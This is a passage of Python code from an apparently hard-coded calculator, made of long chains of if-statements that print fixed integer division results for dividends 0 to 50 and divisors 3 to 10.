firstNum == 4 and sign == "/" and secondNum == 3 : print("4 / 3 = 1") if firstNum == 5 and sign == "/" and secondNum == 3 : print("5 / 3 = 1") if firstNum == 6 and sign == "/" and secondNum == 3 : print("6 / 3 = 2") if firstNum == 7 and sign == "/" and secondNum == 3 : print("7 / 3 = 2") if firstNum == 8 and sign == "/" and secondNum == 3 : print("8 / 3 = 2") if firstNum == 9 and sign == "/" and secondNum == 3 : print("9 / 3 = 3") if firstNum == 10 and sign == "/" and secondNum == 3 : print("10 / 3 = 3") if firstNum == 11 and sign == "/" and secondNum == 3 : print("11 / 3 = 3") if firstNum == 12 and sign == "/" and secondNum == 3 : print("12 / 3 = 4") if firstNum == 13 and sign == "/" and secondNum == 3 : print("13 / 3 = 4") if firstNum == 14 and sign == "/" and secondNum == 3 : print("14 / 3 = 4") if firstNum == 15 and sign == "/" and secondNum == 3 : print("15 / 3 = 5") if firstNum == 16 and sign == "/" and secondNum == 3 : print("16 / 3 = 5") if firstNum == 17 and sign == "/" and secondNum == 3 : print("17 / 3 = 5") if firstNum == 18 and sign == "/" and secondNum == 3 : print("18 / 3 = 6") if firstNum == 19 and sign == "/" and secondNum == 3 : print("19 / 3 = 6") if firstNum == 20 and sign == "/" and secondNum == 3 : print("20 / 3 = 6") if firstNum == 21 and sign == "/" and secondNum == 3 : print("21 / 3 = 7") if firstNum == 22 and sign == "/" and secondNum == 3 : print("22 / 3 = 7") if firstNum == 23 and sign == "/" and secondNum == 3 : print("23 / 3 = 7") if firstNum == 24 and sign == "/" and secondNum == 3 : print("24 / 3 = 8") if firstNum == 25 and sign == "/" and secondNum == 3 : print("25 / 3 = 8") if firstNum == 26 and sign == "/" and secondNum == 3 : print("26 / 3 = 8") if firstNum == 27 and sign == "/" and secondNum == 3 : print("27 / 3 = 9") if firstNum == 28 and sign == "/" and secondNum == 3 : print("28 / 3 = 9") if firstNum == 29 and sign == "/" and secondNum == 3 : print("29 / 3 = 9") if firstNum == 30 and sign == "/" and secondNum == 3 : print("30 / 3 = 10") if firstNum == 31 and sign == "/" and secondNum == 3 : print("31 / 3 = 10") if firstNum == 32 and sign == "/" and secondNum == 3 : print("32 / 3 = 10") if firstNum == 33 and sign == "/" and secondNum == 3 : print("33 / 3 = 11") if firstNum == 34 and sign == "/" and secondNum == 3 : print("34 / 3 = 11") if firstNum == 35 and sign == "/" and secondNum == 3 : print("35 / 3 = 11") if firstNum == 36 and sign == "/" and secondNum == 3 : print("36 / 3 = 12") if firstNum == 37 and sign == "/" and secondNum == 3 : print("37 / 3 = 12") if firstNum == 38 and sign == "/" and secondNum == 3 : print("38 / 3 = 12") if firstNum == 39 and sign == "/" and secondNum == 3 : print("39 / 3 = 13") if firstNum == 40 and sign == "/" and secondNum == 3 : print("40 / 3 = 13") if firstNum == 41 and sign == "/" and secondNum == 3 : print("41 / 3 = 13") if firstNum == 42 and sign == "/" and secondNum == 3 : print("42 / 3 = 14") if firstNum == 43 and sign == "/" and secondNum == 3 : print("43 / 3 = 14") if firstNum == 44 and sign == "/" and secondNum == 3 : print("44 / 3 = 14") if firstNum == 45 and sign == "/" and secondNum == 3 : print("45 / 3 = 15") if firstNum == 46 and sign == "/" and secondNum == 3 : print("46 / 3 = 15") if firstNum == 47 and sign == "/" and secondNum == 3 : print("47 / 3 = 15") if firstNum == 48 and sign == "/" and secondNum == 3 : print("48 / 3 = 16") if firstNum == 49 and sign == "/" and secondNum == 3 : print("49 / 3 = 16") if firstNum == 50 and sign == "/" and secondNum == 3 : print("50 / 3 = 16") if firstNum == 0 and sign == "/" and secondNum == 4 : print("0 / 4 = 0") if firstNum == 1 and sign == "/" and secondNum == 4 : print("1 / 4 = 0") if firstNum == 2 and sign == "/" and secondNum == 4 : print("2 / 4 = 0") if firstNum == 3 and sign == "/" and secondNum == 4 : print("3 / 4 = 0") if firstNum == 4 and sign == "/" and secondNum == 4 : print("4 / 4 = 1") if firstNum == 5 and sign == "/" and secondNum == 4 : print("5 / 4 = 1") if firstNum == 6 and sign == "/" and secondNum == 4 : print("6 / 4 = 1") if firstNum == 7 and sign == "/" and secondNum == 4 : print("7 / 4 = 1") if firstNum == 8 and sign == "/" and secondNum == 4 : print("8 / 4 = 2") if firstNum == 9 and sign == "/" and secondNum == 4 : print("9 / 4 = 2") if firstNum == 10 and sign == "/" and secondNum == 4 : print("10 / 4 = 2") if firstNum == 11 and sign == "/" and secondNum == 4 : print("11 / 4 = 2") if firstNum == 12 and sign == "/" and secondNum == 4 : print("12 / 4 = 3") if firstNum == 13 and sign == "/" and secondNum == 4 : print("13 / 4 = 3") if firstNum == 14 and sign == "/" and secondNum == 4 : print("14 / 4 = 3") if firstNum == 15 and sign == "/" and secondNum == 4 : print("15 / 4 = 3") if firstNum == 16 and sign == "/" and secondNum == 4 : print("16 / 4 = 4") if firstNum == 17 and sign == "/" and secondNum == 4 : print("17 / 4 = 4") if firstNum == 18 and sign == "/" and secondNum == 4 : print("18 / 4 = 4") if firstNum == 19 and sign == "/" and secondNum == 4 : print("19 / 4 = 4") if firstNum == 20 and sign == "/" and secondNum == 4 : print("20 / 4 = 5") if firstNum == 21 and sign == "/" and secondNum == 4 : print("21 / 4 = 5") if firstNum == 22 and sign == "/" and secondNum == 4 : print("22 / 4 = 5") if firstNum == 23 and sign == "/" and secondNum == 4 : print("23 / 4 = 5") if firstNum == 24 and sign == "/" and secondNum == 4 : print("24 / 4 = 6") if firstNum == 25 and sign == "/" and secondNum == 4 : print("25 / 4 = 6") if firstNum == 26 and sign == "/" and secondNum == 4 : print("26 / 4 = 6") if firstNum == 27 and sign == "/" and secondNum == 4 : print("27 / 4 = 6") if firstNum == 28 and sign == "/" and secondNum == 4 : print("28 / 4 = 7") if firstNum == 29 and sign == "/" and secondNum == 4 : print("29 / 4 = 7") if firstNum == 30 and sign == "/" and secondNum == 4 : print("30 / 4 = 7") if firstNum == 31 and sign == "/" and secondNum == 4 : print("31 / 4 = 7") if firstNum == 32 and sign == "/" and secondNum == 4 : print("32 / 4 = 8") if firstNum == 33 and sign == "/" and secondNum == 4 : print("33 / 4 = 8") if firstNum == 34 and sign == "/" and secondNum == 4 : print("34 / 4 = 8") if firstNum == 35 and sign == "/" and secondNum == 4 : print("35 / 4 = 8") if firstNum == 36 and sign == "/" and secondNum == 4 : print("36 / 4 = 9") if firstNum == 37 and sign == "/" and secondNum == 4 : print("37 / 4 = 9") if firstNum == 38 and sign == "/" and secondNum == 4 : print("38 / 4 = 9") if firstNum == 39 and sign == "/" and secondNum == 4 : print("39 / 4 = 9") if firstNum == 40 and sign == "/" and secondNum == 4 : print("40 / 4 = 10") if firstNum == 41 and sign == "/" and secondNum == 4 : print("41 / 4 = 10") if firstNum == 42 and sign == "/" and secondNum == 4 : print("42 / 4 = 10") if firstNum == 43 and sign == "/" and secondNum == 4 : print("43 / 4 = 10") if firstNum == 44 and sign == "/" and secondNum == 4 : print("44 / 4 = 11") if firstNum == 45 and sign == "/" and secondNum == 4 : print("45 / 4 = 11") if firstNum == 46 and sign == "/" and secondNum == 4 : print("46 / 4 = 11") if firstNum == 47 and sign == "/" and secondNum == 4 : print("47 / 4 = 11") if firstNum == 48 and sign == "/" and secondNum == 4 : print("48 / 4 = 12") if firstNum == 49 and sign == "/" and secondNum == 4 : print("49 / 4 = 12") if firstNum == 50 and sign == "/" and secondNum == 4 : print("50 / 4 = 12") if firstNum == 0 and sign == "/" and secondNum == 5 : print("0 / 5 = 0") if firstNum == 1 and sign == "/" and secondNum == 5 : print("1 / 5 = 0") if firstNum == 2 and sign == "/" and secondNum == 5 : print("2 / 5 = 0") if firstNum == 3 and sign == "/" and secondNum == 5 : print("3 / 5 = 0") if firstNum == 4 and sign == "/" and secondNum == 5 : print("4 / 5 = 0") if firstNum == 5 and sign == "/" and secondNum == 5 : print("5 / 5 = 1") if firstNum == 6 and sign == "/" and secondNum == 5 : print("6 / 5 = 1") if firstNum == 7 and sign == "/" and secondNum == 5 : print("7 / 5 = 1") if firstNum == 8 and sign == "/" and secondNum == 5 : print("8 / 5 = 1") if firstNum == 9 and sign == "/" and secondNum == 5 : print("9 / 5 = 1") if firstNum == 10 and sign == "/" and secondNum == 5 : print("10 / 5 = 2") if firstNum == 11 and sign == "/" and secondNum == 5 : print("11 / 5 = 2") if firstNum == 12 and sign == "/" and secondNum == 5 : print("12 / 5 = 2") if firstNum == 13 and sign == "/" and secondNum == 5 : print("13 / 5 = 2") if firstNum == 14 and sign == "/" and secondNum == 5 : print("14 / 5 = 2") if firstNum == 15 and sign == "/" and secondNum == 5 : print("15 / 5 = 3") if firstNum == 16 and sign == "/" and secondNum == 5 : print("16 / 5 = 3") if firstNum == 17 and sign == "/" and secondNum == 5 : print("17 / 5 = 3") if firstNum == 18 and sign == "/" and secondNum == 5 : print("18 / 5 = 3") if firstNum == 19 and sign == "/" and secondNum == 5 : print("19 / 5 = 3") if firstNum == 20 and sign == "/" and secondNum == 5 : print("20 / 5 = 4") if firstNum == 21 and sign == "/" and secondNum == 5 : print("21 / 5 = 4") if firstNum == 22 and sign == "/" and secondNum == 5 : print("22 / 5 = 4") if firstNum == 23 and sign == "/" and secondNum == 5 : print("23 / 5 = 4") if firstNum == 24 and sign == "/" and secondNum == 5 : print("24 / 5 = 4") if firstNum == 25 and sign == "/" and secondNum == 5 : print("25 / 5 = 5") if firstNum == 26 and sign == "/" and secondNum == 5 : print("26 / 5 = 5") if firstNum == 27 and sign == "/" and secondNum == 5 : print("27 / 5 = 5") if firstNum == 28 and sign == "/" and secondNum == 5 : print("28 / 5 = 5") if firstNum == 29 and sign == "/" and secondNum == 5 : print("29 / 5 = 5") if firstNum == 30 and sign == "/" and secondNum == 5 : print("30 / 5 = 6") if firstNum == 31 and sign == "/" and secondNum == 5 : print("31 / 5 = 6") if firstNum == 32 and sign == "/" and secondNum == 5 : print("32 / 5 = 6") if firstNum == 33 and sign == "/" and secondNum == 5 : print("33 / 5 = 6") if firstNum == 34 and sign == "/" and secondNum == 5 : print("34 / 5 = 6") if firstNum == 35 and sign == "/" and secondNum == 5 : print("35 / 5 = 7") if firstNum == 36 and sign == "/" and secondNum == 5 : print("36 / 5 = 7") if firstNum == 37 and sign == "/" and secondNum == 5 : print("37 / 5 = 7") if firstNum == 38 and sign == "/" and secondNum == 5 : print("38 / 5 = 7") if firstNum == 39 and sign == "/" and secondNum == 5 : print("39 / 5 = 7") if firstNum == 40 and sign == "/" and secondNum == 5 : print("40 / 5 = 8") if firstNum == 41 and sign == "/" and secondNum == 5 : print("41 / 5 = 8") if firstNum == 42 and sign == "/" and secondNum == 5 : print("42 / 5 = 8") if firstNum == 43 and sign == "/" and secondNum == 5 : print("43 / 5 = 8") if firstNum == 44 and sign == "/" and secondNum == 5 : print("44 / 5 = 8") if firstNum == 45 and sign == "/" and secondNum == 5 : print("45 / 5 = 9") if firstNum == 46 and sign == "/" and secondNum == 5 : print("46 / 5 = 9") if firstNum == 47 and sign == "/" and secondNum == 5 : print("47 / 5 = 9") if firstNum == 48 and sign == "/" and secondNum == 5 : print("48 / 5 = 9") if firstNum == 49 and sign == "/" and secondNum == 5 : print("49 / 5 = 9") if firstNum == 50 and sign == "/" and secondNum == 5 : print("50 / 5 = 10") if firstNum == 0 and sign == "/" and secondNum == 6 : print("0 / 6 = 0") if firstNum == 1 and sign == "/" and secondNum == 6 : print("1 / 6 = 0") if firstNum == 2 and sign == "/" and secondNum == 6 : print("2 / 6 = 0") if firstNum == 3 and sign == "/" and secondNum == 6 : print("3 / 6 = 0") if firstNum == 4 and sign == "/" and secondNum == 6 : print("4 / 6 = 0") if firstNum == 5 and sign == "/" and secondNum == 6 : print("5 / 6 = 0") if firstNum == 6 and sign == "/" and secondNum == 6 : print("6 / 6 = 1") if firstNum == 7 and sign == "/" and secondNum == 6 : print("7 / 6 = 1") if firstNum == 8 and sign == "/" and secondNum == 6 : print("8 / 6 = 1") if firstNum == 9 and sign == "/" and secondNum == 6 : print("9 / 6 = 1") if firstNum == 10 and sign == "/" and secondNum == 6 : print("10 / 6 = 1") if firstNum == 11 and sign == "/" and secondNum == 6 : print("11 / 6 = 1") if firstNum == 12 and sign == "/" and secondNum == 6 : print("12 / 6 = 2") if firstNum == 13 and sign == "/" and secondNum == 6 : print("13 / 6 = 2") if firstNum == 14 and sign == "/" and secondNum == 6 : print("14 / 6 = 2") if firstNum == 15 and sign == "/" and secondNum == 6 : print("15 / 6 = 2") if firstNum == 16 and sign == "/" and secondNum == 6 : print("16 / 6 = 2") if firstNum == 17 and sign == "/" and secondNum == 6 : print("17 / 6 = 2") if firstNum == 18 and sign == "/" and secondNum == 6 : print("18 / 6 = 3") if firstNum == 19 and sign == "/" and secondNum == 6 : print("19 / 6 = 3") if firstNum == 20 and sign == "/" and secondNum == 6 : print("20 / 6 = 3") if firstNum == 21 and sign == "/" and secondNum == 6 : print("21 / 6 = 3") if firstNum == 22 and sign == "/" and secondNum == 6 : print("22 / 6 = 3") if firstNum == 23 and sign == "/" and secondNum == 6 : print("23 / 6 = 3") if firstNum == 24 and sign == "/" and secondNum == 6 : print("24 / 6 = 4") if firstNum == 25 and sign == "/" and secondNum == 6 : print("25 / 6 = 4") if firstNum == 26 and sign == "/" and secondNum == 6 : print("26 / 6 = 4") if firstNum == 27 and sign == "/" and secondNum == 6 : print("27 / 6 = 4") if firstNum == 28 and sign == "/" and secondNum == 6 : print("28 / 6 = 4") if firstNum == 29 and sign == "/" and secondNum == 6 : print("29 / 6 = 4") if firstNum == 30 and sign == "/" and secondNum == 6 : print("30 / 6 = 5") if firstNum == 31 and sign == "/" and secondNum == 6 : print("31 / 6 = 5") if firstNum == 32 and sign == "/" and secondNum == 6 : print("32 / 6 = 5") if firstNum == 33 and sign == "/" and secondNum == 6 : print("33 / 6 = 5") if firstNum == 34 and sign == "/" and secondNum == 6 : print("34 / 6 = 5") if firstNum == 35 and sign == "/" and secondNum == 6 : print("35 / 6 = 5") if firstNum == 36 and sign == "/" and secondNum == 6 : print("36 / 6 = 6") if firstNum == 37 and sign == "/" and secondNum == 6 : print("37 / 6 = 6") if firstNum == 38 and sign == "/" and secondNum == 6 : print("38 / 6 = 6") if firstNum == 39 and sign == "/" and secondNum == 6 : print("39 / 6 = 6") if firstNum == 40 and sign == "/" and secondNum == 6 : print("40 / 6 = 6") if firstNum == 41 and sign == "/" and secondNum == 6 : print("41 / 6 = 6") if firstNum == 42 and sign == "/" and secondNum == 6 : print("42 / 6 = 7") if firstNum == 43 and sign == "/" and secondNum == 6 : print("43 / 6 = 7") if firstNum == 44 and sign == "/" and secondNum == 6 : print("44 / 6 = 7") if firstNum == 45 and sign == "/" and secondNum == 6 : print("45 / 6 = 7") if firstNum == 46 and sign == "/" and secondNum == 6 : print("46 / 6 = 7") if firstNum == 47 and sign == "/" and secondNum == 6 : print("47 / 6 = 7") if firstNum == 48 and sign == "/" and secondNum == 6 : print("48 / 6 = 8") if firstNum == 49 and sign == "/" and secondNum == 6 : print("49 / 6 = 8") if firstNum == 50 and sign == "/" and secondNum == 6 : print("50 / 6 = 8") if firstNum == 0 and sign == "/" and secondNum == 7 : print("0 / 7 = 0") if firstNum == 1 and sign == "/" and secondNum == 7 : print("1 / 7 = 0") if firstNum == 2 and sign == "/" and secondNum == 7 : print("2 / 7 = 0") if firstNum == 3 and sign == "/" and secondNum == 7 : print("3 / 7 = 0") if firstNum == 4 and sign == "/" and secondNum == 7 : print("4 / 7 = 0") if firstNum == 5 and sign == "/" and secondNum == 7 : print("5 / 7 = 0") if firstNum == 6 and sign == "/" and secondNum == 7 : print("6 / 7 = 0") if firstNum == 7 and sign == "/" and secondNum == 7 : print("7 / 7 = 1") if firstNum == 8 and sign == "/" and secondNum == 7 : print("8 / 7 = 1") if firstNum == 9 and sign == "/" and secondNum == 7 : print("9 / 7 = 1") if firstNum == 10 and sign == "/" and secondNum == 7 : print("10 / 7 = 1") if firstNum == 11 and sign == "/" and secondNum == 7 : print("11 / 7 = 1") if firstNum == 12 and sign == "/" and secondNum == 7 : print("12 / 7 = 1") if firstNum == 13 and sign == "/" and secondNum == 7 : print("13 / 7 = 1") if firstNum == 14 and sign == "/" and secondNum == 7 : print("14 / 7 = 2") if firstNum == 15 and sign == "/" and secondNum == 7 : print("15 / 7 = 2") if firstNum == 16 and sign == "/" and secondNum == 7 : print("16 / 7 = 2") if firstNum == 17 and sign == "/" and secondNum == 7 : print("17 / 7 = 2") if firstNum == 18 and sign == "/" and secondNum == 7 : print("18 / 7 = 2") if firstNum == 19 and sign == "/" and secondNum == 7 : print("19 / 7 = 2") if firstNum == 20 and sign == "/" and secondNum == 7 : print("20 / 7 = 2") if firstNum == 21 and sign == "/" and secondNum == 7 : print("21 / 7 = 3") if firstNum == 22 and sign == "/" and secondNum == 7 : print("22 / 7 = 3") if firstNum == 23 and sign == "/" and secondNum == 7 : print("23 / 7 = 3") if firstNum == 24 and sign == "/" and secondNum == 7 : print("24 / 7 = 3") if firstNum == 25 and sign == "/" and secondNum == 7 : print("25 / 7 = 3") if firstNum == 26 and sign == "/" and secondNum == 7 : print("26 / 7 = 3") if firstNum == 27 and sign == "/" and secondNum == 7 : print("27 / 7 = 3") if firstNum == 28 and sign == "/" and secondNum == 7 : print("28 / 7 = 4") if firstNum == 29 and sign == "/" and secondNum == 7 : print("29 / 7 = 4") if firstNum == 30 and sign == "/" and secondNum == 7 : print("30 / 7 = 4") if firstNum == 31 and sign == "/" and secondNum == 7 : print("31 / 7 = 4") if firstNum == 32 and sign == "/" and secondNum == 7 : print("32 / 7 = 4") if firstNum == 33 and sign == "/" and secondNum == 7 : print("33 / 7 = 4") if firstNum == 34 and sign == "/" and secondNum == 7 : print("34 / 7 = 4") if firstNum == 35 and sign == "/" and secondNum == 7 : print("35 / 7 = 5") if firstNum == 36 and sign == "/" and secondNum == 7 : print("36 / 7 = 5") if firstNum == 37 and sign == "/" and secondNum == 7 : print("37 / 7 = 5") if firstNum == 38 and sign == "/" and secondNum == 7 : print("38 / 7 = 5") if firstNum == 39 and sign == "/" and secondNum == 7 : print("39 / 7 = 5") if firstNum == 40 and sign == "/" and secondNum == 7 : print("40 / 7 = 5") if firstNum == 41 and sign == "/" and secondNum == 7 : print("41 / 7 = 5") if firstNum == 42 and sign == "/" and secondNum == 7 : print("42 / 7 = 6") if firstNum == 43 and sign == "/" and secondNum == 7 : print("43 / 7 = 6") if firstNum == 44 and sign == "/" and secondNum == 7 : print("44 / 7 = 6") if firstNum == 45 and sign == "/" and secondNum == 7 : print("45 / 7 = 6") if firstNum == 46 and sign == "/" and secondNum == 7 : print("46 / 7 = 6") if firstNum == 47 and sign == "/" and secondNum == 7 : print("47 / 7 = 6") if firstNum == 48 and sign == "/" and secondNum == 7 : print("48 / 7 = 6") if firstNum == 49 and sign == "/" and secondNum == 7 : print("49 / 7 = 7") if firstNum == 50 and sign == "/" and secondNum == 7 : print("50 / 7 = 7") if firstNum == 0 and sign == "/" and secondNum == 8 : print("0 / 8 = 0") if firstNum == 1 and sign == "/" and secondNum == 8 : print("1 / 8 = 0") if firstNum == 2 and sign == "/" and secondNum == 8 : print("2 / 8 = 0") if firstNum == 3 and sign == "/" and secondNum == 8 : print("3 / 8 = 0") if firstNum == 4 and sign == "/" and secondNum == 8 : print("4 / 8 = 0") if firstNum == 5 and sign == "/" and secondNum == 8 : print("5 / 8 = 0") if firstNum == 6 and sign == "/" and secondNum == 8 : print("6 / 8 = 0") if firstNum == 7 and sign == "/" and secondNum == 8 : print("7 / 8 = 0") if firstNum == 8 and sign == "/" and secondNum == 8 : print("8 / 8 = 1") if firstNum == 9 and sign == "/" and secondNum == 8 : print("9 / 8 = 1") if firstNum == 10 and sign == "/" and secondNum == 8 : print("10 / 8 = 1") if firstNum == 11 and sign == "/" and secondNum == 8 : print("11 / 8 = 1") if firstNum == 12 and sign == "/" and secondNum == 8 : print("12 / 8 = 1") if firstNum == 13 and sign == "/" and secondNum == 8 : print("13 / 8 = 1") if firstNum == 14 and sign == "/" and secondNum == 8 : print("14 / 8 = 1") if firstNum == 15 and sign == "/" and secondNum == 8 : print("15 / 8 = 1") if firstNum == 16 and sign == "/" and secondNum == 8 : print("16 / 8 = 2") if firstNum == 17 and sign == "/" and secondNum == 8 : print("17 / 8 = 2") if firstNum == 18 and sign == "/" and secondNum == 8 : print("18 / 8 = 2") if firstNum == 19 and sign == "/" and secondNum == 8 : print("19 / 8 = 2") if firstNum == 20 and sign == "/" and secondNum == 8 : print("20 / 8 = 2") if firstNum == 21 and sign == "/" and secondNum == 8 : print("21 / 8 = 2") if firstNum == 22 and sign == "/" and secondNum == 8 : print("22 / 8 = 2") if firstNum == 23 and sign == "/" and secondNum == 8 : print("23 / 8 = 2") if firstNum == 24 and sign == "/" and secondNum == 8 : print("24 / 8 = 3") if firstNum == 25 and sign == "/" and secondNum == 8 : print("25 / 8 = 3") if firstNum == 26 and sign == "/" and secondNum == 8 : print("26 / 8 = 3") if firstNum == 27 and sign == "/" and secondNum == 8 : print("27 / 8 = 3") if firstNum == 28 and sign == "/" and secondNum == 8 : print("28 / 8 = 3") if firstNum == 29 and sign == "/" and secondNum == 8 : print("29 / 8 = 3") if firstNum == 30 and sign == "/" and secondNum == 8 : print("30 / 8 = 3") if firstNum == 31 and sign == "/" and secondNum == 8 : print("31 / 8 = 3") if firstNum == 32 and sign == "/" and secondNum == 8 : print("32 / 8 = 4") if firstNum == 33 and sign == "/" and secondNum == 8 : print("33 / 8 = 4") if firstNum == 34 and sign == "/" and secondNum == 8 : print("34 / 8 = 4") if firstNum == 35 and sign == "/" and secondNum == 8 : print("35 / 8 = 4") if firstNum == 36 and sign == "/" and secondNum == 8 : print("36 / 8 = 4") if firstNum == 37 and sign == "/" and secondNum == 8 : print("37 / 8 = 4") if firstNum == 38 and sign == "/" and secondNum == 8 : print("38 / 8 = 4") if firstNum == 39 and sign == "/" and secondNum == 8 : print("39 / 8 = 4") if firstNum == 40 and sign == "/" and secondNum == 8 : print("40 / 8 = 5") if firstNum == 41 and sign == "/" and secondNum == 8 : print("41 / 8 = 5") if firstNum == 42 and sign == "/" and secondNum == 8 : print("42 / 8 = 5") if firstNum == 43 and sign == "/" and secondNum == 8 : print("43 / 8 = 5") if firstNum == 44 and sign == "/" and secondNum == 8 : print("44 / 8 = 5") if firstNum == 45 and sign == "/" and secondNum == 8 : print("45 / 8 = 5") if firstNum == 46 and sign == "/" and secondNum == 8 : print("46 / 8 = 5") if firstNum == 47 and sign == "/" and secondNum == 8 : print("47 / 8 = 5") if firstNum == 48 and sign == "/" and secondNum == 8 : print("48 / 8 = 6") if firstNum == 49 and sign == "/" and secondNum == 8 : print("49 / 8 = 6") if firstNum == 50 and sign == "/" and secondNum == 8 : print("50 / 8 = 6") if firstNum == 0 and sign == "/" and secondNum == 9 : print("0 / 9 = 0") if firstNum == 1 and sign == "/" and secondNum == 9 : print("1 / 9 = 0") if firstNum == 2 and sign == "/" and secondNum == 9 : print("2 / 9 = 0") if firstNum == 3 and sign == "/" and secondNum == 9 : print("3 / 9 = 0") if firstNum == 4 and sign == "/" and secondNum == 9 : print("4 / 9 = 0") if firstNum == 5 and sign == "/" and secondNum == 9 : print("5 / 9 = 0") if firstNum == 6 and sign == "/" and secondNum == 9 : print("6 / 9 = 0") if firstNum == 7 and sign == "/" and secondNum == 9 : print("7 / 9 = 0") if firstNum == 8 and sign == "/" and secondNum == 9 : print("8 / 9 = 0") if firstNum == 9 and sign == "/" and secondNum == 9 : print("9 / 9 = 1") if firstNum == 10 and sign == "/" and secondNum == 9 : print("10 / 9 = 1") if firstNum == 11 and sign == "/" and secondNum == 9 : print("11 / 9 = 1") if firstNum == 12 and sign == "/" and secondNum == 9 : print("12 / 9 = 1") if firstNum == 13 and sign == "/" and secondNum == 9 : print("13 / 9 = 1") if firstNum == 14 and sign == "/" and secondNum == 9 : print("14 / 9 = 1") if firstNum == 15 and sign == "/" and secondNum == 9 : print("15 / 9 = 1") if firstNum == 16 and sign == "/" and secondNum == 9 : print("16 / 9 = 1") if firstNum == 17 and sign == "/" and secondNum == 9 : print("17 / 9 = 1") if firstNum == 18 and sign == "/" and secondNum == 9 : print("18 / 9 = 2") if firstNum == 19 and sign == "/" and secondNum == 9 : print("19 / 9 = 2") if firstNum == 20 and sign == "/" and secondNum == 9 : print("20 / 9 = 2") if firstNum == 21 and sign == "/" and secondNum == 9 : print("21 / 9 = 2") if firstNum == 22 and sign == "/" and secondNum == 9 : print("22 / 9 = 2") if firstNum == 23 and sign == "/" and secondNum == 9 : print("23 / 9 = 2") if firstNum == 24 and sign == "/" and secondNum == 9 : print("24 / 9 = 2") if firstNum == 25 and sign == "/" and secondNum == 9 : print("25 / 9 = 2") if firstNum == 26 and sign == "/" and secondNum == 9 : print("26 / 9 = 2") if firstNum == 27 and sign == "/" and secondNum == 9 : print("27 / 9 = 3") if firstNum == 28 and sign == "/" and secondNum == 9 : print("28 / 9 = 3") if firstNum == 29 and sign == "/" and secondNum == 9 : print("29 / 9 = 3") if firstNum == 30 and sign == "/" and secondNum == 9 : print("30 / 9 = 3") if firstNum == 31 and sign == "/" and secondNum == 9 : print("31 / 9 = 3") if firstNum == 32 and sign == "/" and secondNum == 9 : print("32 / 9 = 3") if firstNum == 33 and sign == "/" and secondNum == 9 : print("33 / 9 = 3") if firstNum == 34 and sign == "/" and secondNum == 9 : print("34 / 9 = 3") if firstNum == 35 and sign == "/" and secondNum == 9 : print("35 / 9 = 3") if firstNum == 36 and sign == "/" and secondNum == 9 : print("36 / 9 = 4") if firstNum == 37 and sign == "/" and secondNum == 9 : print("37 / 9 = 4") if firstNum == 38 and sign == "/" and secondNum == 9 : print("38 / 9 = 4") if firstNum == 39 and sign == "/" and secondNum == 9 : print("39 / 9 = 4") if firstNum == 40 and sign == "/" and secondNum == 9 : print("40 / 9 = 4") if firstNum == 41 and sign == "/" and secondNum == 9 : print("41 / 9 = 4") if firstNum == 42 and sign == "/" and secondNum == 9 : print("42 / 9 = 4") if firstNum == 43 and sign == "/" and secondNum == 9 : print("43 / 9 = 4") if firstNum == 44 and sign == "/" and secondNum == 9 : print("44 / 9 = 4") if firstNum == 45 and sign == "/" and secondNum == 9 : print("45 / 9 = 5") if firstNum == 46 and sign == "/" and secondNum == 9 : print("46 / 9 = 5") if firstNum == 47 and sign == "/" and secondNum == 9 : print("47 / 9 = 5") if firstNum == 48 and sign == "/" and secondNum == 9 : print("48 / 9 = 5") if firstNum == 49 and sign == "/" and secondNum == 9 : print("49 / 9 = 5") if firstNum == 50 and sign == "/" and secondNum == 9 : print("50 / 9 = 5") if firstNum == 0 and sign == "/" and secondNum == 10 : print("0 / 10 = 0") if firstNum == 1 and sign == "/" and secondNum == 10 : print("1 / 10 = 0") if firstNum == 2 and sign == "/" and secondNum == 10 : print("2 / 10 = 0") if firstNum == 3 and sign == "/" and secondNum == 10 : print("3 / 10 = 0") if firstNum == 4 and sign == "/" and secondNum == 10 : print("4 / 10 = 0") if firstNum == 5 and sign == "/" and secondNum == 10 : print("5 / 10 = 0") if firstNum == 6 and sign == "/" and secondNum == 10 : print("6 / 10 = 0") if firstNum == 7 and sign == "/" and secondNum == 10 : print("7 / 10 = 0") if firstNum == 8 and sign == "/" and secondNum == 10 : print("8 / 10 = 0") if firstNum == 9 and sign == "/" and secondNum == 10 : print("9 / 10 = 0") if firstNum == 10 and sign == "/" and secondNum == 10 : print("10 / 10 = 1") if firstNum == 11 and sign == "/" and secondNum == 10 : print("11 / 10 = 1") if firstNum == 12 and sign == "/" and secondNum == 10 : print("12 / 10 = 1") if firstNum == 13 and sign == "/" and secondNum == 10 : print("13 / 10 = 1") if firstNum == 14 and sign == "/" and secondNum == 10 : print("14 / 10 = 1") if firstNum == 15 and sign == "/" and secondNum == 10 : print("15 / 10 = 1") if firstNum == 16 and sign == "/" and secondNum == 10 : print("16 / 10 = 1") if firstNum == 17 and sign == "/" and secondNum == 10 : print("17 / 10 = 1") if firstNum == 18 and sign == "/" and secondNum == 10 : print("18 / 10 = 1") if firstNum == 19 and sign == "/" and secondNum == 10 : print("19 / 10 = 1") if firstNum == 20 and sign == "/" and secondNum == 10 : print("20 / 10 = 2") if firstNum == 21 and sign == "/" and secondNum == 10 : print("21 / 10 = 2") if firstNum == 22 and sign == "/" and secondNum == 10 : print("22 / 10 = 2") if firstNum == 23 and sign == "/" and secondNum == 10 : print("23 / 10 = 2") if firstNum == 24 and sign == "/" and secondNum == 10 : print("24 / 10 = 2") if firstNum == 25 and sign == "/" and secondNum == 10 : print("25 / 10 = 2") if firstNum == 26 and sign == "/" and secondNum == 10 : print("26 / 10 = 2") if firstNum == 27 and sign == "/" and secondNum == 10 : print("27 / 10 = 2") if firstNum == 28 and sign == "/" and secondNum == 10 : print("28 / 10 = 2") if firstNum == 29 and sign == "/" and secondNum == 10 : print("29 / 10 = 2") if firstNum == 30 and sign == "/" and secondNum == 10 : print("30 / 10 = 3") if firstNum == 31 and sign == "/" and secondNum == 10 : print("31 / 10 = 3") if firstNum == 32 and sign == "/" and secondNum == 10 : print("32 / 10 = 3") if firstNum == 33 and sign == "/" and secondNum == 10 : print("33 / 10 = 3") if firstNum == 34 and sign == "/" and secondNum == 10 : print("34 / 10 = 3") if firstNum == 35 and sign == "/" and secondNum == 10 : print("35 / 10 = 3") if firstNum == 36 and sign == "/" and secondNum == 10 : print("36 / 10 = 3") if firstNum == 37 and sign == "/" and secondNum == 10 : print("37 / 10 = 3") if firstNum == 38 and sign == "/" and secondNum == 10 : print("38 / 10 = 3") if firstNum == 39 and sign == "/" and secondNum == 10 : print("39 / 10 = 3") if firstNum == 40 and sign == "/" and secondNum == 10 : print("40 / 10 = 4") if firstNum == 41 and sign == "/" and secondNum == 10 : 